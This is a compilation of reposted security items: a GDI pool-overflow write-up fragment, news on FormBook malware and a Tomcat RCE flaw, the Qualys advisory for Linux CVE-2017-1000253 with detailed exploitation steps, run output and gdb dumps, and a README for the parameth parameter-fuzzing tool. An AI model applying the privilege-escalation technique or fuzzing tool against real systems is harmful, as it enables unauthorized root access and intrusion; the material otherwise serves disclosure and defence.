methods With a limited degree of control over the BASEOBJECT64.hHmgr Handle it is still possible to reliably exploit “wild” linear Pool overflows using GDI objects When exploiting a vulnerability using Palette objects with a specifically-overwritten hHmgr value, the OS will remain stable, in contrast to when using Bitmap objects, which will most likely lead to a BSOD or a system freeze Special thanks to Saif El-Sherei (@Saif_Sherei) and Ashfaq Ansari (@HackSysTeam) for helpful input and ideas! Source: siberas.de

It seems sophisticated hackers have changed the way they conduct targeted cyber operations—instead of investing in zero-days and developing their malware; some hacking groups have now started using ready-made malware just like script kiddies. Possibly, this could be a smart move for state-sponsored hackers to avoid being attributed easily. Security researchers from multiple security firms, including Arbor Networks and FireEye, independently discovered a series of malware campaigns primarily targeting aerospace, defence contractors and manufacturing sectors in various countries, including the United States, Thailand, South Korea and India. What's common? All these attack campaigns, conducted by various hacking groups, eventually install same information and password stealer malware—dubbed FormBook—on the targeted systems. FormBook is nothing but a "malware-as-as-service," which is an affordable piece of data-stealing and form-grabbing malware that has been advertised in various hacking forums since early 2016. Anyone can rent FormBook for just $29 per week or $59 per month, which offers a range of advanced spying capabilities on target machines, including a keylogger, password stealer, network sniffer, taking the screenshots, web form data stealer and more. According to the researchers, attackers in each campaign are primarily using emails to distribute the FormBook malware as an attachment in different forms, including PDFs with malicious download links, DOC and XLS files with malicious macros, and archive files (ZIP, RAR, ACE, and ISOs) containing EXE payloads. Once installed on a target system, the malware injects itself into various processes and starts capturing keystrokes and extracts stored passwords and other sensitive data from multiple applications, including Google Chrome, Firefox, Skype, Safari, Vivaldi, Q-360, Microsoft Outlook, Mozilla Thunderbird, 3D-FTP, FileZilla and WinSCP. FormBook continuously sends all the stolen data to a remote command and control (C2) server which also allows the attacker to execute other commands on the targeted system, including start processes, shutdown and reboot the system, and stealing cookies. According to the researchers, FormBook was also seen downloading other malware families such as NanoCore in the last few weeks. The attackers can even use the data successfully harvested by FormBook for further cybercriminal activities including, identity theft, continued phishing operations, bank fraud and extortion. FormBook is neither sophisticated, nor difficult-to-detect malware, so the best way to protect yourself from this malware is to keep good antivirus software on your systems, and always keep it up-to-date. Via thehackernews.com

The Apache Tomcat team has recently patched several security vulnerabilities in Apache Tomcat, one of which could allow an unauthorised attacker to execute malicious code on affected servers remotely. Apache Tomcat, developed by the Apache Software Foundation (ASF), is an open source web server and servlet system, which uses several Java EE specifications like Java Servlet, JavaServer Pages (JSP), Expression Language, and WebSocket, and provides a "pure Java" HTTP web server environment for Java concept to run in. Unlike Apache Struts2 vulnerabilities, which have recently been exploited to breach the systems of American credit reporting agency Equifax, Apache Tomcat flaws are less likely to be exploited. The critical Remote Code Execution (RCE) vulnerability (CVE-2017-12617) discovered in Apache Tomcat is due to insufficient validation of user-supplied input by the affected software. Only systems with HTTP PUTs enabled (via setting the "read-only" initialization parameter of the Default servlet to "false") are affected. Exploiting this vulnerability requires an attacker to upload a maliciously crafted Java Server Page (JSP) file to a targeted server running an affected version of Apache Tomcat, and the code contained in the JSP file would be executed by the server when the file is requested. To upload the maliciously crafted JSP, the attacker just needs to send an HTTP PUT request to the vulnerable server, as mentioned in the proof-of-concept (PoC) exploit code published by Peter on the Apache mailing list. The exploit would eventually allow the attacker to execute malicious code on the targeted server. This RCE vulnerability, marked as "important," impacts all Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81, and has been addressed with the release of Tomcat versions 9.0.1 (Beta), 8.5.23, 8.0.47 and 7.0.82. A similar security issue (CVE-2017-12615) discovered in Tomcat 7 on Windows was patched by the Apache Tomcat developers on September 19 with the release of version 7.0.81. Administrators are strongly recommended to apply the software updates as soon as possible and are advised to allow only trusted users to have network access as well as monitor affected systems. The researchers have not detected any incident of the exploitation of one of these Apache Tomcat vulnerabilities in the wild. Source: thehackernews.com

Author: Qualys | Category: remote exploits | Platform: linux Date add: 05-10-2017 | Risk: [Security Risk Critical] | 0day-ID: 0day-ID-28745 | CVE: CVE-2017-10002 Linux PIE/stack corruption (CVE-2017-1000253) ======================================================================== Contents ======================================================================== Summary Analysis Exploitation Acknowledgments ======================================================================== Summary ======================================================================== Linux distributions that have not patched their long-term kernels with https://git.kernel.org/linus/a87938b2e246b81b4fb713edb371a9fa3c5c3c86 (committed on April 14, 2015) are vulnerable to CVE-2017-1000253, a Local Privilege Escalation. Most notably, all versions of CentOS 7 before 1708 (released on September 13, 2017), all versions of Red Hat Enterprise Linux 7 before 7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red Hat Enterprise Linux 6 are exploitable. ======================================================================== Analysis ======================================================================== ------------------------------------------------------------------------ Pre-Stack-Clash kernels ------------------------------------------------------------------------ Occasionally, we have noticed a strange behavior with PIEs (Position-Independent Executables) on CentOS 7: Linux localhost.localdomain 3.10.0-514.21.1.el7.x86_64 #1 SMP Thu May 25 17:04:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 7ffbad3b3000-7ffbad56a000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbad56a000-7ffbad769000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbad769000-7ffbad76d000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbad76d000-7ffbad76f000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbad76f000-7ffbad774000 rw-p 00000000 00:00 0 7ffbad774000-7ffbad794000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbad967000-7ffbad98b000 rw-p 00000000 00:00 0 7ffbad990000-7ffbad991000 rw-p 00000000 00:00 0 7ffbad991000-7ffbad993000 r-xp 00000000 00:00 0 [vdso] 7ffbad993000-7ffbad994000 r--p 0001f000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbad994000-7ffbad995000 rw-p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbad995000-7ffbad996000 rw-p 00000000 00:00 0 7ffbad996000-7ffbad998000 r-xp 00000000 fd:00 4194375 /tmp/PIE 7ffbad999000-7ffbadb97000 rw-p 00000000 00:00 0 [stack] 7ffbadb97000-7ffbadb98000 r--p 00001000 fd:00 4194375 /tmp/PIE 7ffbadb98000-7ffbadbb9000 rw-p 00002000 fd:00 4194375 /tmp/PIE 7ffbadbba000-7ffc0d9ba000 rw-p 00000000 00:00 0 [heap] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] rsp 0x7ffbad9a0978 In this example, the kernel's execve() code erroneously mapped the PIE's read-write segment into the stack memory region, thus corrupting and dividing the stack into three parts: - 7ffbad999000-7ffbadb97000, the lowest part of the stack, is where the stack pointer (rsp) points to, after execve() returns to the userland; - 7ffbadb97000-7ffbadbb9000, the middle part of the stack, was replaced by the PIE's read-write segment (7ffbadb97000-7ffbadb98000 was later mprotect()ed read-only by RELRO), and hence a write to this part of the stack smashes the PIE's read-write segment, and vice versa; - 7ffbadbba000-7ffc0d9ba000, the highest part of the stack, is incorrectly displayed as the "[heap]" in /proc/pid/maps (because the program brk() points there), but is correctly flagged as a stack in /proc/pid/smaps (the "gd" flag, "grows down"). This kernel vulnerability was fixed in April 2015 by commit a87938b2e246b81b4fb713edb371a9fa3c5c3c86 (backported to Linux 3.10.77 in May 2015), but it was not recognized as a security threat. This fix was therefore not backported to long-term distributions such as CentOS: ------------------------------------------------------------------------ From: Michael Davidson <md@google.com> Date: Tue, 14 Apr 2015 15:47:38 -0700 Subject: fs/binfmt_elf.c: fix bug in loading of PIE binaries With CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down address allocation strategy, load_elf_binary() will attempt to map a PIE binary into an address range immediately below mm->mmap_base. Unfortunately, load_elf_ binary() does not take account of the need to allocate sufficient space for the entire binary which means that, while the first PT_LOAD segment is mapped below mm->mmap_base, the subsequent PT_LOAD segment(s) end up being mapped above mm->mmap_base into the are that is supposed to be the "gap" between the stack and the binary. Since the size of the "gap" on x86_64 is only guaranteed to be 128MB this means that binaries with large data segments > 128MB can end up mapping part of their data segment over their stack resulting in corruption of the stack (and the data segment once the binary starts to run). Any PIE binary with a data segment > 128MB is vulnerable to this although address randomization means that the actual gap between the stack and the end of the binary is normally greater than 128MB. The larger the data segment of the binary the higher the probability of failure. Fix this by calculating the total size of the binary in the same way as load_elf_interp(). Signed-off-by: Michael Davidson <md@google.com> Cc: Alexander Viro <viro@zeniv.linux.org.uk> Cc: Jiri Kosina <jkosina@suse.cz> Cc: Kees Cook <keescook@chromium.org> Cc: <stable@vger.kernel.org> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> --- fs/binfmt_elf.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c index 995986b..d925f55 100644 --- a/fs/binfmt_elf.c +++ b/fs/binfmt_elf.c @@ -862,6 +862,7 @@ static int load_elf_binary(struct linux_binprm *bprm) i < loc->elf_ex.e_phnum; i++, elf_ppnt++) { int elf_prot = 0, elf_flags; unsigned long k, vaddr; + unsigned long total_size = 0; if (elf_ppnt->p_type != PT_LOAD) continue; @@ -924,10 +925,16 @@ static int load_elf_binary(struct linux_binprm *bprm) #else load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr); #endif + total_size = total_mapping_size(elf_phdata, + loc->elf_ex.e_phnum); + if (!total_size) { + error = -EINVAL; + goto out_free_dentry; + } } error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, - elf_prot, elf_flags, 0); + elf_prot, elf_flags, total_size); if (BAD_ADDR(error)) { retval = IS_ERR((void *)error) ? PTR_ERR((void*)error) : -EINVAL; ------------------------------------------------------------------------ Unfortunately, this vulnerability is not limited to the PIEs whose read-write segment is larger than 128MB. Indeed, 128MB is the minimum distance between the mmap_base and the highest address of the stack, not the lowest address of the stack (CVE-2017-1000379): consequently, and as shown in our Stack Clash advisory, if we pass 1.5GB of argument strings to execve(), then any PIE may be mapped directly below the stack (and trigger CVE-2017-1000253) with a probability of ~1/17331 (5 hours on average, if each run takes 1 second). ------------------------------------------------------------------------ Post-Stack-Clash kernels ------------------------------------------------------------------------ As a proof-of-concept, we will publish CVE-2017-1000253.c, an exploit for ping on CentOS-7 kernel versions "3.10.0-514.21.2.el7.x86_64" and "3.10.0-514.26.1.el7.x86_64" (the first kernel updates after the Stack Clash). The PIE/stack layout on these post-Stack-Clash kernels differs slightly from the layout on pre-Stack-Clash kernels, since the size of the stack guard-page was increased from 4KB to 1MB: Linux localhost.localdomain 3.10.0-514.26.1.el7.x86_64 #1 SMP Thu Jun 29 16:05:25 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 7ffba9ee4000-7ffbaa09b000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbaa09b000-7ffbaa29a000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbaa29a000-7ffbaa29e000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbaa29e000-7ffbaa2a0000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbaa2a0000-7ffbaa2a5000 rw-p 00000000 00:00 0 7ffbaa2a5000-7ffbaa2c5000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbaa499000-7ffbaa4bd000 rw-p 00000000 00:00 0 7ffbaa4c2000-7ffbaa4c3000 rw-p 00000000 00:00 0 7ffbaa4c3000-7ffbaa4c5000 r-xp 00000000 00:00 0 [vdso] 7ffbaa4c5000-7ffbaa4c6000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbaa4c6000-7ffbaa4c7000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbaa4c7000-7ffbaa4c8000 rw-p 00000000 00:00 0 7ffbaa4c8000-7ffbaa4ca000 r-xp 00000000 fd:00 4194375 /tmp/PIE 7ffbaa5ca000-7ffbaa6c9000 rw-p 00000000 00:00 0 7ffbaa6c9000-7ffbaa6ca000 r--p 00001000 fd:00 4194375 /tmp/PIE 7ffbaa6ca000-7ffbaa6eb000 rw-p 00002000 fd:00 4194375 /tmp/PIE 7ffbaa7eb000-7ffc0a6eb000 rw-p 00000000 00:00 0 [heap] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] rsp 0x7ffbaa6d1c18 In this example, the kernel's execve() code also mapped the PIE's read-write segment into the stack memory region, and divided the stack into three parts, but: - 7ffbaa5ca000-7ffbaa6c9000, the lowest part of the stack, is not displayed as the "[stack]" in /proc/pid/maps (because rsp does not point there), but is correctly flagged as a stack in /proc/pid/smaps; - 7ffbaa6c9000-7ffbaa6eb000, the middle part of the stack, was replaced by the PIE's read-write segment, and is where rsp points to, after execve() returns to the userland; - 7ffbaa7eb000-7ffc0a6eb000, the highest part of the stack, is (again) incorrectly displayed as the "[heap]" in /proc/pid/maps, but is correctly flagged as a stack in /proc/pid/smaps. Older kernels (such as "3.10.0-514.21.1.el7.x86_64") and newer kernels (such as "3.10.0-514.26.2.el7.x86_64"), other distributions and other privileged PIEs (including SUID-root PIEs), are also exploitable, but the exploitation method must be adapted to slightly different PIE/stack layouts. This is left as an exercise for the interested reader. ======================================================================== Exploitation ======================================================================== Our CVE-2017-1000253.c exploit for CentOS-7 kernel versions "3.10.0-514.21.2.el7.x86_64" and "3.10.0-514.26.1.el7.x86_64" is very similar to our stack-clash exploit Linux_ldso_dynamic.c (we smash the PIE's .dynamic section with a stack-based string operation, and force ld.so to load and execute our own shared library), but with two important differences: - we do not need to jump over the stack guard-page, because rsp naturally points into the PIE's read-write segment after we trigger CVE-2017-1000253; - on 64-bit, all .dynamic tags contain null-bytes, a serious problem if we want to smash the .dynamic section with a null-terminated string. To solve this problem, we smash the .dynamic section with multiple calls to process_dl_debug(), a function called by process_envvars() very early in dl_main(), before elf_get_dynamic_info() parses the .dynamic section. process_dl_debug() is called for each LD_DEBUG environment variable, and calls strndupa() (strnlen(), alloca(), memcpy()) for each unknown option in LD_DEBUG, thus allowing us to smash the .dynamic section with multiple null-terminated strings, and hence multiple null-bytes. Unfortunately, the .dynamic entries that we build on the stack with process_dl_debug(): - DT_SYMTAB (tag 0x0000000000000006, value unused); - DT_STRTAB (tag 0x0000000000000005), an offset (into the PIE's read-execute segment) to our own .dynstr section -- this is later transformed by elf_get_dynamic_info() into an absolute address, allowing us to bypass ASLR; - DT_NEEDED (tag 0x0000000000000001), an offset (into our .dynstr section) to the pathname of our own shared library -- we use offset 0x238+1 into the PIE's read-execute segment, where the string "lib64/ld-linux-x86-64.so.2" is always stored; - DT_NULL (tag 0x0000000000000000, value unused); are partially destroyed by the stack-frames of further function calls (_dl_error_printf(), for example). Our solution to this problem is very specific to CentOS 7, and restricts this particular exploit to the PIEs whose .dynamic section's address modulo 16 is equal to 8: - we build our .dynamic tags through a stack variable used by memcpy() to store the address modulo 16 of the unknown options in LD_DEBUG; - we store our .dynamic values in an unused slot of process_dl_debug()'s stack-frame. One last, unexpected problem with this particular exploit is that rsp can never point into the highest part of the stack (after the kernel's execve() code divided the stack into three parts): indeed, the kernel's page-fault handler would then try to insert a stack guard-page below the highest part of the stack, and would SIGKILL our process because the PIE's read-write segment is already mapped there. The solution to this problem is simple, but further restricts this particular exploit to the PIEs whose read-write segment is large enough to encompass rsp: the kernel's page-fault handler will not try to insert a stack guard-page there, because the PIE's read-write segment is not flagged as a stack (VM_GROWSDOWN). For example, on a default, minimal CentOS 7, ping is privileged (cap_net_admin and cap_net_raw) and exploitable: [user@localhost tmp]$ getcap -r / 2>/dev/null /usr/bin/ping = cap_net_admin,cap_net_raw+p ... [user@localhost tmp]$ readelf -a /usr/bin/ping ... Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align ... LOAD 0x000000000000da58 0x000000000020da58 0x000000000020da58 0x0000000000000988 0x00000000000241e8 RW 200000 DYNAMIC 0x000000000000da78 0x000000000020da78 0x000000000020da78 0x0000000000000240 0x0000000000000240 RW 8 ... [user@localhost tmp]$ ./CVE-2017-1000253 /usr/bin/ping argv_size 101903 smash_size 36864 hi_smash_size 18432 lo_smash_size 18432 probability 1/16028 try 1 1.409649 exited 2 try 2 1.097508 exited 2 try 3 1.060084 exited 2 try 4 1.059042 exited 2 try 5 1.090841 exited 2 try 6 1.068993 exited 2 try 7 1.093662 exited 2 ... try 3411 1.018799 exited 2 try 3412 1.022255 exited 2 try 3413 1.022062 exited 2 try 3414 1.061316 exited 2 try 3415 1.024066 exited 2 try 3416 1.024864 exited 2 try 3417 1.043867 exited 2 Pid: 6301 Uid: 1000 1000 1000 Gid: 1000 1000 1000 CapInh: 0000000000000000 CapPrm: 0000000000003000 CapEff: 0000000000000000 [root@localhost tmp]# cat /proc/6301/status Name: ping ... Pid: 6301 ... Uid: 1000 1000 1000 1000 Gid: 1000 1000 1000 1000 ... CapInh: 0000000000000000 CapPrm: 0000000000003000 CapEff: 0000000000000000 ... [root@localhost tmp]# cat /proc/6301/maps 7ffbc573d000-7ffbc58f4000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbc58f4000-7ffbc5af3000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbc5af3000-7ffbc5af7000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbc5af7000-7ffbc5af9000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so 7ffbc5af9000-7ffbc5afe000 rw-p 00000000 00:00 0 7ffbc5afe000-7ffbc5aff000 r-xp 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2 7ffbc5aff000-7ffbc5cfe000 ---p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2 7ffbc5cfe000-7ffbc5cff000 r--p 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2 7ffbc5cff000-7ffbc5d00000 rw-p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2 7ffbc5d00000-7ffbc5d20000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbc5f15000-7ffbc5f18000 rw-p 00000000 00:00 0 7ffbc5f1c000-7ffbc5f1e000 rw-p 00000000 00:00 0 7ffbc5f1e000-7ffbc5f20000 r-xp 00000000 00:00 0 [vdso] 7ffbc5f20000-7ffbc5f21000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbc5f21000-7ffbc5f22000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so 7ffbc5f22000-7ffbc5f23000 rw-p 00000000 00:00 0 7ffbc5f23000-7ffbc5f31000 r-xp 00000000 fd:00 12968754 /usr/bin/ping 7ffbc6031000-7ffbc6130000 rw-p 00000000 00:00 0 7ffbc6130000-7ffbc6131000 r--p 0000d000 fd:00 12968754 /usr/bin/ping 7ffbc6131000-7ffbc6132000 rw-p 0000e000 fd:00 12968754 /usr/bin/ping 7ffbc6132000-7ffbc6155000 rw-p 00000000 00:00 0 [stack] 7ffbc6255000-7ffc29988000 rw-p 00000000 00:00 0 [heap] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] [root@localhost tmp]# gdb /usr/bin/ping 6301 ... (gdb) x/16384xg 0x7ffbc6130000 + 8 0x7ffbc6130008: 0x4141414141414141 0x4141414141414141 0x7ffbc6130018: 0x4141414141414141 0x4141414141414141 0x7ffbc6130028: 0x4141414141414141 0x4141414141414141 0x7ffbc6130038: 0x4141414141414141 0x4141414141414141 0x7ffbc6130048: 0x4141414141414141 0x4141414141414141 0x7ffbc6130058: 0x4141414141414141 0x4141414141414141 0x7ffbc6130068: 0x4141414141414141 0x4141414141414141 ... 0x7ffbc6132678: 0x4141414141414141 0x4141414141414141 0x7ffbc6132688: 0x4141414141414141 0x4141414141414141 0x7ffbc6132698: 0x4141414141414141 0x4141414141414141 0x7ffbc61326a8: 0x4141414141414141 0x4141414141414141 0x7ffbc61326b8: 0x4141414141414141 0x4141414141414141 0x7ffbc61326c8: 0x4141414141414141 0x4141414141414141 0x7ffbc61326d8: 0x4141414141414141 0x00007ffbc6132700 0x7ffbc61326e8: 0x00007ffbc5d01463 0x4141414141410041 0x7ffbc61326f8: 0x0000000000000005 0x888908844e7ab888 0x7ffbc6132708: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc6132718: 0x4141414141414141 0x4141414141414141 0x7ffbc6132728: 0x0041414141414141 0x00007ffbc6132740 0x7ffbc6132738: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc6132748: 0x4141414141414141 0x4141414141414141 0x7ffbc6132758: 0x4141414141414141 0x4141414141414141 0x7ffbc6132768: 0x4141414141414141 0x4141414141414141 0x7ffbc6132778: 0x4141414141414141 0x4141414141414141 0x7ffbc6132788: 0x4141414141414141 0x00007ffbc6132700 0x7ffbc6132798: 0x00007ffbc5d01463 0x4141414141410041 0x7ffbc61327a8: 0x0000000000000001 0x77777777777779b1 0x7ffbc61327b8: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc61327c8: 0x4141414141414141 0x4141414141414141 0x7ffbc61327d8: 0x0041414141414141 0x00007ffbc61327f0 0x7ffbc61327e8: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc61327f8: 0x4141414141414141 0x4141414141414141 0x7ffbc6132808: 0x4141414141414141 0x4141414141414141 0x7ffbc6132818: 0x4141414141414141 0x4141414141414141 0x7ffbc6132828: 0x4141414141414141 0x4141414141414141 0x7ffbc6132838: 0x4141414141414141 0x00007ffbc6132800 0x7ffbc6132848: 0x00007ffbc5d01463 0x4141414141410041 0x7ffbc6132858: 0x0000000000000006 0x4848c8440e3a7848 0x7ffbc6132868: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc6132878: 0x4141414141414141 0x4141414141414141 0x7ffbc6132888: 0x0000000000000000 0x00007ffbc61328a0 0x7ffbc6132898: 0x00007ffbc5d01463 0x4141414141414141 0x7ffbc61328a8: 0x4141414141414141 0x4141414141414141 0x7ffbc61328b8: 0x4141414141414141 0x4141414141414141 0x7ffbc61328c8: 0x4141414141414141 0x4141414141414141 0x7ffbc61328d8: 0x4141414141414141 0x4141414141414141 0x7ffbc61328e8: 0x4141414141414141 0x4141414141414141 0x7ffbc61328f8: 0x4141414141414141 0x4141414141414141 ... (gdb) x/s 0x888908844e7ab888 + 0x77777777777779b1 0x7ffbc5f23239: "lib64/ld-linux-x86-64.so.2" ======================================================================== Acknowledgments ======================================================================== We thank Red Hat and the members of the linux-distros@openwall list. # 0day.today [2017-10-05] # Source: 0day.today

parameth This tool can be used to brute discover GET and POST parameters Often when you are busting a directory for common files, you can identify scripts (for example test.php) that look like they need to be passed an unknown parameter. This hopefully can help find them. The -off flag allows you to specify an offset (helps with dynamic pages) so for example, if you were getting alternating response sizes of 4444 and 4448, set the offset to 5 and it will only show the stuff outside the norm #Usage ***usage: parameth.py [-h] [-v] [-u URL] [-p PARAMS] [-H HEADER] [-a AGENT] [-t THREADS] [-off VARIANCE] [-o OUT] [-P PROXY] [-x IGNORE] [-s SIZEIGNORE] [-d DATA] [-i IGMETH] [-c COOKIE]*** optional arguments: -h, --help show this help message and exit -v, --version Version Information -u URL, --url URL Target URL -p PARAMS, --params PARAMS Provide a list of parameters to scan for -H HEADER, --header HEADER Add a custom header to the requests -a AGENT, --agent AGENT Specify a user agent -t THREADS, --threads THREADS Specify the number of threads. -off VARIANCE, --variance VARIANCE The offset in difference to ignore (if dynamic pages) -diff DIFFERENCE, --difference DIFFERENCE Percentage difference in response (recommended 95) -o OUT, --out OUT Specify output file -P PROXY, --proxy PROXY Specify a proxy in the form http|s://[IP]:[PORT] -x IGNORE, --ignore IGNORE Specify a status to ignore eg. 404,302... -s SIZEIGNORE, --sizeignore SIZEIGNORE Ignore responses of specified size -d DATA, --data DATA Provide default post data (also taken from provided url after ?) -i IGMETH, --igmeth IGMETH Ignore GET or POST method. Specify g or p -c COOKIE, --cookie COOKIE Specify Cookies -T TIMEOUT, --timeout TIMEOUT Specify a timeout in seconds to wait between each request Adding new params from source: The following regexes might be useful to parse $_GET or $_POST parameters from source: $> grep -rioP '$_POST[\s*["']\s*\w+\s*["']\s*]' PHPSOURCE | grep -oP '$_POST[\s*["']\s*\w+\s*["']\s*]' | sed -e "s/$_POST[\s*["']//g" -e "s/\s*['"]\s*]//g" | sort -u > /tmp/outfile.txt $> grep -rioP '$_GET[\s*["']\s*\w+\s*["']\s*]' PHPSOURCE | grep -oP '$_GET[\s*["']\s*\w+\s*["']\s*]' | sed -e "s/$_GET[\s*["']//g" -e "s/\s*['"]\s*]//g" | sort -u > /tmp/outfile.txt Download parameth-master.zip or git clone https://github.com/maK-/parameth.git Source: https://github.com/mak-/parameth